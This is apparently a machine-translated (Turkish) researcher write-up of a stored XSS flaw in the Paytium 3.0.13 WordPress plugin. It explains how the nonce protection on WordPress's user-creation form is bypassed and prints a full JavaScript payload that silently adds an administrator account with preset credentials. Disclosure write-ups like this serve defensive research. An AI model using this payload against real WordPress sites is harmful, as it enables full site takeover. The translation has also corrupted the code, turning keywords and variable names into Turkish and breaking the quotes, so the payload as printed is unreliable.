Paytium 3.0.13 WordPress Eklentisinde Saklanan XSS | kaydeden Jonathan Bouman


Savunmasız kod
(Ücretsiz) Paytium eklentisi bizim için mevcut olduğundan güvenlik açığı bulunan kodu tespit edebiliyoruz. Birkaç dakikalık aramanın ardından adında bir fonksiyon keşfediyoruz. get_field_data_html() Saklanan verileri yansıtıyor, HTML kaçışı uygulanmaz. Bu kod, WordPress arka ucu tarafından siparişlere genel bakışı göstermek için kullanılıyor.

HTML değerlerinden kaçmayan bir yankı.

Saklanan XSS’den tam WordPress devralımına
Önceden tanımlanmış bir kullanıcı adı ve şifreye sahip yeni bir yönetici kullanıcıyı sessizce ekleyebilirsek ne olur? İyi bir fikir!

WordPress, yöneticilerin şunları yapmasına olanak tanıyan bir form içeren özel bir sayfaya sahiptir: yeni kullanıcıları davet edin ve rollerini belirtin.

Yeni yönetici kullanıcı ekle

Bu form şu şekilde korunmaktadır: bir kez. Nonce, tarayıcı tarafından sunucuya gönderilen, gizli bir değere sahip gizli bir parametredir. Sunucular bunu belirli bir isteğin gerçekten orijinal formdan geldiğini doğrulamak için kullanır, aksi takdirde kötü amaçlı bir web sitesi mağdur adına form gönderimini zorlayabilir; CSRF saldırısı.

Sunucu bu gizli anı her forma ekler render ediyor. Harici kötü amaçlı web sitelerinin bu nonce değerini kurtarması imkansızdır; varsayılan olarak bir tarayıcı, bir etki alanının başka bir etki alanının HTML içeriğini görüntülemesine izin vermez, dolayısıyla bir Nonce olmadan formu gönderemeyiz.

Kullanıcı oluşturma formunun örneği

Fakat javascript ile aynı alan adından sayfalar talep edebiliyoruz. Kurbanımızın etki alanında depolanmış bir XSS hatası olduğundan bu, talep edebileceğimiz anlamına gelir. user-new.php sayfasına gidin ve HTML yanıtını görüntüleyin. Bu sayede Nonce değerini çıkarabiliyor ve gönderebiliyoruz. user-new.php önceden tanımlanmış giriş bilgilerimizi içeren form.

Yük

var ajaxRequest = yeni XMLHttpRequest,
requestURL = “/wp-admin/user-new.php”,
nonceRegex = /ser” değer = “([^”]*?)”/G;
ajaxRequest.open(“GET”, requestURL, !1), ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText),
nonce = nonceMatch[1],
params = “action=createuser&_wpnonce_create-user=” + tek seferlik + “&user_login=joax&[email protected]&pass1=helloworld123&pass2=helloworld123&role=yönetici”;
(ajaxRequest = new XMLHttpRequest).open(“POST”, requestURL, !0), ajaxRequest.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”), ajaxRequest.send(params);

Yük 2 aşamadan oluşur:

  1. Talep et user-new.php sayfa ve nonce’yi çıkar normal bir ifade kullanarak değer.
  2. Gönder POST isteği -e user-new.php önceden tanımlı sayfamız giriş bilgileri ve hemen 1. adımdan itibaren

Kısa alan adları olmazsa olmazdır
Bu betiği doğrudan aradaki Ad alanına koyarak yükleyebilirsiniz.

Source link